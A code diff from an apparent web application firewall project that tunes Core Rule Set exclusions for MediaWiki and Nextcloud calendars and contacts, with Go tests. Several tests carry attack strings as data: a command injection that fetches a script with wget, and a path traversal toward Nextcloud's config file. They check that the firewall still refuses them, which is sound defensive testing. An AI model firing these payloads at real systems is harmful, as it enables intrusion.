# rules refused saving or previewing a page whose wikitext held a template, a
|
# rules refused saving or previewing a page whose wikitext held a template, a
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package coreruleset_test
|
|||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
"strings"
|
|
||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -50,9 +49,9 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||||
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||||
// each in the query, on a path where it skips them, ending in "=".
|
// path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiQueryFields = []string{
|
var mediawikiQueryFields = []string{
|
||||||
@@ -137,9 +136,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|||||||
type mediawikiBodyField struct{ target, field string }
|
type mediawikiBodyField struct{ target, field string }
|
||||||
|
|
||||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||||
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
|
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||||
// each in a form data body, on a path where it skips them.
|
// a path where it skips them.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiBodyFields = []mediawikiBodyField{
|
var mediawikiBodyFields = []mediawikiBodyField{
|
||||||
@@ -147,11 +146,13 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiUpload, "wpUploadDescription="},
|
{mediawikiUpload, "wpUploadDescription="},
|
||||||
{mediawikiUpload, "wpDestFile="},
|
{mediawikiUpload, "wpDestFile="},
|
||||||
{mediawikiSignIn, "wpName="},
|
{mediawikiSignIn, "wpName="},
|
||||||
|
{mediawikiSignIn, "wpPassword="},
|
||||||
{mediawikiMove, "wpOldTitle="},
|
{mediawikiMove, "wpOldTitle="},
|
||||||
{mediawikiMove, "wpNewTitleMain="},
|
{mediawikiMove, "wpNewTitleMain="},
|
||||||
{mediawikiMove, "wpReason="},
|
{mediawikiMove, "wpReason="},
|
||||||
{mediawikiBlock, "wpTarget="},
|
{mediawikiBlock, "wpTarget="},
|
||||||
{mediawikiSignInPage, "wpName="},
|
{mediawikiSignInPage, "wpName="},
|
||||||
|
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||||
{mediawikiUploadPage, "wpDestFile="},
|
{mediawikiUploadPage, "wpDestFile="},
|
||||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||||
{mediawikiAPI, "title="},
|
{mediawikiAPI, "title="},
|
||||||
@@ -164,17 +165,8 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiAPI, "reason="},
|
{mediawikiAPI, "reason="},
|
||||||
{mediawikiAPI, "user="},
|
{mediawikiAPI, "user="},
|
||||||
{mediawikiAPI, "lgname="},
|
{mediawikiAPI, "lgname="},
|
||||||
{mediawikiAPI, "username="},
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediawikiPasswordFields are the passwords, which skip the four rules and the
|
|
||||||
// rules that random passwords set off. mediawikiPasswordFields sends each in a
|
|
||||||
// form data body, on a path where it skips them.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var mediawikiPasswordFields = []mediawikiBodyField{
|
|
||||||
{mediawikiSignIn, "wpPassword="},
|
|
||||||
{mediawikiAPI, "lgpassword="},
|
{mediawikiAPI, "lgpassword="},
|
||||||
|
{mediawikiAPI, "username="},
|
||||||
{mediawikiAPI, passwordField},
|
{mediawikiAPI, passwordField},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -241,25 +233,6 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMediaWikiPasswordsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, sent := range mediawikiPasswordFields {
|
|
||||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
||||||
name := strings.TrimSuffix(sent.field, "=")
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, name)
|
|
||||||
|
|
||||||
// No rule these fields keep catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, name, scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||||
// fields that skip the other command rules, as a query value.
|
// fields that skip the other command rules, as a query value.
|
||||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||||
@@ -280,8 +253,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs = readingBodies(t)
|
crs = readingBodies(t)
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
|
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
||||||
mediawikiPasswordFields) {
|
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||||
@@ -339,8 +311,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
||||||
mediawikiPasswordFields)
|
mediawikiWikitextFields...)
|
||||||
|
|
||||||
for _, sent := range fields {
|
for _, sent := range fields {
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|||||||
@@ -61,46 +61,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||||
|
|
||||||
# The password, in the body, skips each rule that random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|
||||||
"id:900119,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:password "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
|
||||||
|
|
||||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||||
"id:900103,phase:1,pass,nolog,\
|
"id:900103,phase:1,pass,nolog,\
|
||||||
@@ -286,3 +246,63 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||||
"id:900118,phase:1,pass,nolog,chain"
|
"id:900118,phase:1,pass,nolog,chain"
|
||||||
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
||||||
|
|
||||||
|
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
|
||||||
|
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
|
||||||
|
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
|
||||||
|
# with MKCALENDAR, which 911100 refused.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
||||||
|
"id:900119,phase:1,pass,nolog,\
|
||||||
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
|
||||||
|
|
||||||
|
# Such a client first asks where the calendars and address books are, with a
|
||||||
|
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
|
||||||
|
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
|
||||||
|
"id:900120,phase:1,pass,nolog,\
|
||||||
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
|
||||||
|
|
||||||
|
# A new calendar or address book has its name in the XML body of an MKCOL,
|
||||||
|
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
|
||||||
|
# MKCOL may also hold its description (900124).
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
||||||
|
"id:900121,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||||
|
|
||||||
|
# The XML body of an MKCALENDAR holds the new calendar's name and its
|
||||||
|
# description. The description is a sentence, and two rules for sentences
|
||||||
|
# refused it too:
|
||||||
|
# 932125, 932230: Powershell and python3 meetings; ls -la first
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
||||||
|
"id:900122,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||||
|
|
||||||
|
# When the Calendar app changes an event, it names the charset twice in the
|
||||||
|
# Content-Type of the PUT:
|
||||||
|
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
|
||||||
|
# The Contacts app does the same with text/vcard when it changes a contact.
|
||||||
|
# 920530 refused both. The body of such a PUT is not read (900118).
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
||||||
|
"id:900123,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq PUT" "chain"
|
||||||
|
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
|
||||||
|
"ctl:ruleRemoveById=920530"
|
||||||
|
|
||||||
|
# The XML body of a new address book's MKCOL may hold its description. Like a
|
||||||
|
# calendar's (900122), it is a sentence, and the same two rules refused it:
|
||||||
|
# 932125, 932230: Powershell and python3 contacts; ls -la first
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
|
||||||
|
"id:900124,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
||||||
|
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;XML:/*"
|
||||||
@@ -6,6 +6,7 @@ import (
|
|||||||
"maps"
|
"maps"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
@@ -15,9 +16,6 @@ import (
|
|||||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const nextcloudThreshold = 5
|
const nextcloudThreshold = 5
|
||||||
|
|
||||||
// nextcloudSignIn is the sign-in page.
|
|
||||||
const nextcloudSignIn = "/login"
|
|
||||||
|
|
||||||
// nextcloudShare is a public share's page.
|
// nextcloudShare is a public share's page.
|
||||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||||
|
|
||||||
@@ -85,7 +83,8 @@ var nextcloudQueryFields = []string{
|
|||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var nextcloudFormFields = []struct{ target, field string }{
|
var nextcloudFormFields = []struct{ target, field string }{
|
||||||
{nextcloudSignIn, "user="},
|
{"/login", "user="},
|
||||||
|
{"/login", passwordField},
|
||||||
{nextcloudUsers, "userid="},
|
{nextcloudUsers, "userid="},
|
||||||
{nextcloudUsers, "displayName="},
|
{nextcloudUsers, "displayName="},
|
||||||
{nextcloudUsers, "groups%5B%5D="},
|
{nextcloudUsers, "groups%5B%5D="},
|
||||||
@@ -128,8 +127,55 @@ var nextcloudBodies = []nextcloudBody{
|
|||||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||||
},
|
},
|
||||||
|
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
|
||||||
|
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
|
||||||
|
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The WebDAV methods that make a calendar or an address book.
|
||||||
|
const (
|
||||||
|
nextcloudMkcol = "MKCOL"
|
||||||
|
nextcloudMkcalendar = "MKCALENDAR"
|
||||||
|
)
|
||||||
|
|
||||||
|
// nextcloudCalendars and nextcloudAddressBooks hold the calendars and the
|
||||||
|
// address books of the account admin.
|
||||||
|
const (
|
||||||
|
nextcloudCalendars = "/remote.php/dav/calendars/admin/"
|
||||||
|
nextcloudAddressBooks = "/remote.php/dav/addressbooks/users/admin/"
|
||||||
|
)
|
||||||
|
|
||||||
|
// nextcloudNewCollection is the XML body that names a new calendar or address
|
||||||
|
// book, as an MKCOL sends it.
|
||||||
|
const nextcloudNewCollection = `<d:mkcol xmlns:d="DAV:"><d:set><d:prop>` +
|
||||||
|
`<d:displayname>%s</d:displayname></d:prop></d:set></d:mkcol>`
|
||||||
|
|
||||||
|
// nextcloudNewCalendar is the XML body of an MKCALENDAR that names the new
|
||||||
|
// calendar.
|
||||||
|
const nextcloudNewCalendar = `<c:mkcalendar xmlns:d="DAV:" ` +
|
||||||
|
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
|
||||||
|
`<d:displayname>%s</d:displayname></d:prop></d:set></c:mkcalendar>`
|
||||||
|
|
||||||
|
// nextcloudCalendarDescription is the XML body of an MKCALENDAR that gives
|
||||||
|
// the new calendar a description.
|
||||||
|
const nextcloudCalendarDescription = `<c:mkcalendar xmlns:d="DAV:" ` +
|
||||||
|
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
|
||||||
|
`<d:displayname>Meetings</d:displayname>` +
|
||||||
|
`<c:calendar-description>%s</c:calendar-description>` +
|
||||||
|
`</d:prop></d:set></c:mkcalendar>`
|
||||||
|
|
||||||
|
// nextcloudAddressBookDescription is the XML body of an MKCOL that gives a new
|
||||||
|
// address book a description.
|
||||||
|
const nextcloudAddressBookDescription = `<mkcol xmlns="DAV:" ` +
|
||||||
|
`xmlns:CARD="urn:ietf:params:xml:ns:carddav"><set><prop>` +
|
||||||
|
`<resourcetype><collection /><CARD:addressbook /></resourcetype>` +
|
||||||
|
`<displayname>Trainers</displayname>` +
|
||||||
|
`<CARD:addressbook-description>%s</CARD:addressbook-description>` +
|
||||||
|
`</prop></set></mkcol>`
|
||||||
|
|
||||||
|
// nextcloudDescription is a calendar's description, as recorded.
|
||||||
|
const nextcloudDescription = "Powershell and python3 meetings; ls -la first"
|
||||||
|
|
||||||
// nextcloudDocument is the text of a document the text editor saves, which
|
// nextcloudDocument is the text of a document the text editor saves, which
|
||||||
// skips the rules for code blocks too.
|
// skips the rules for code blocks too.
|
||||||
//
|
//
|
||||||
@@ -255,17 +301,6 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
|||||||
return scores
|
return scores
|
||||||
}
|
}
|
||||||
|
|
||||||
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
|
|
||||||
// bodies, gives signing in with value, a query value, as the password.
|
|
||||||
func nextcloudPasswordScore(t *testing.T, value string) int {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
|
||||||
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
|
|
||||||
|
|
||||||
return got.Score
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -275,25 +310,9 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
|
|
||||||
t.Errorf("password %s refused: %d", value, score)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestNextcloudPasswordPasses(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "password")
|
|
||||||
|
|
||||||
// No rule the password keeps catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, "password", scriptTag)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -342,10 +361,6 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s let through: %d", request, score)
|
t.Errorf("%s let through: %d", request, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
|
|
||||||
t.Errorf("password %s let through: %d", commandInjection, score)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||||
@@ -408,6 +423,119 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
||||||
|
|
||||||
|
// MKCALENDAR only where the calendars are.
|
||||||
|
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
||||||
|
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, target := range []string{
|
||||||
|
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
||||||
|
"/x/remote.php/dav/calendars/",
|
||||||
|
} {
|
||||||
|
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
|
||||||
|
}
|
||||||
|
|
||||||
|
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
||||||
|
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
||||||
|
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
|
||||||
|
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
|
||||||
|
}
|
||||||
|
|
||||||
|
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
||||||
|
wantResult(t, crs, other, matched(911100))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
// A new calendar's and a new address book's description, as recorded.
|
||||||
|
for _, described := range []struct {
|
||||||
|
sent nextcloudBody
|
||||||
|
description string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
nextcloudBody{
|
||||||
|
nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody,
|
||||||
|
nextcloudCalendarDescription,
|
||||||
|
},
|
||||||
|
nextcloudDescription,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
nextcloudBody{
|
||||||
|
nextcloudMkcol, nextcloudAddressBooks + "trainers/", xmlBody,
|
||||||
|
nextcloudAddressBookDescription,
|
||||||
|
},
|
||||||
|
"Powershell and python3 contacts; ls -la first",
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
sent := described.sent
|
||||||
|
|
||||||
|
request, score := nextcloudBodyScore(t, crs, sent, described.description)
|
||||||
|
if score >= nextcloudThreshold {
|
||||||
|
t.Errorf("%s refused: %d", request, score)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, attack := range []string{
|
||||||
|
sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, commandInjection,
|
||||||
|
} {
|
||||||
|
written, err := url.QueryUnescape(attack)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
request, score := nextcloudBodyScore(t, crs, sent, written)
|
||||||
|
if score < nextcloudThreshold {
|
||||||
|
t.Errorf("%s let through: %d", request, score)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// An MKCOL on the calendars' paths skips only the rules for names.
|
||||||
|
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
||||||
|
|
||||||
|
request, score = nextcloudBodyScore(t, crs, sent, described.description)
|
||||||
|
if score < nextcloudThreshold {
|
||||||
|
t.Errorf("%s let through: %d", request, score)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// nextcloudChangedEvent is the Content-Type of the PUT with which the
|
||||||
|
// Calendar app changes an event.
|
||||||
|
const nextcloudChangedEvent = "Content-Type: text/calendar; charset=UTF-8; " +
|
||||||
|
"component=vevent; charset=UTF-8"
|
||||||
|
|
||||||
|
func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := atDefaults(t)
|
||||||
|
|
||||||
|
for _, changed := range []request{
|
||||||
|
{http.MethodPut, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
|
||||||
|
{
|
||||||
|
http.MethodPut, nextcloudAddressBooks + "team/1.vcf",
|
||||||
|
[]string{"Content-Type: text/vcard; charset=UTF-8; charset=UTF-8"},
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
wantResult(t, crs, changed, matched())
|
||||||
|
}
|
||||||
|
|
||||||
|
// Elsewhere, with another method or another type, two charsets are refused.
|
||||||
|
for _, refused := range []request{
|
||||||
|
{http.MethodPut, nextcloudFiles + "1.ics", []string{nextcloudChangedEvent}},
|
||||||
|
{http.MethodPost, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
|
||||||
|
{
|
||||||
|
http.MethodPut, nextcloudCalendars + "work/1.ics",
|
||||||
|
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
|
||||||
|
t.Errorf("%s %s %q let through: %+v",
|
||||||
|
refused.method, refused.target, refused.headers, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
|
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
|
||||||
|
|||||||
@@ -2,6 +2,8 @@
|
|||||||
# at the defaults. They were recorded from a Nextcloud driven by a headless
|
# at the defaults. They were recorded from a Nextcloud driven by a headless
|
||||||
# Chrome, by its command-line sync client 3.16.7 and by an API client. The API
|
# Chrome, by its command-line sync client 3.16.7 and by an API client. The API
|
||||||
# client's LOCK and UNLOCK send what the desktop client's "Lock file" action
|
# client's LOCK and UNLOCK send what the desktop client's "Lock file" action
|
||||||
|
# sends. The last lines come from the Calendar app 6.6.5, the Contacts app
|
||||||
|
# 8.9.5 and an API client sending what the CalDAV and CardDAV client DAVx5
|
||||||
# sends. Each line is one request as JSON. Host names, passwords and session
|
# sends. Each line is one request as JSON. Host names, passwords and session
|
||||||
# cookies are invented, and the bodies of large uploads are shortened.
|
# cookies are invented, and the bodies of large uploads are shortened.
|
||||||
{"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""}
|
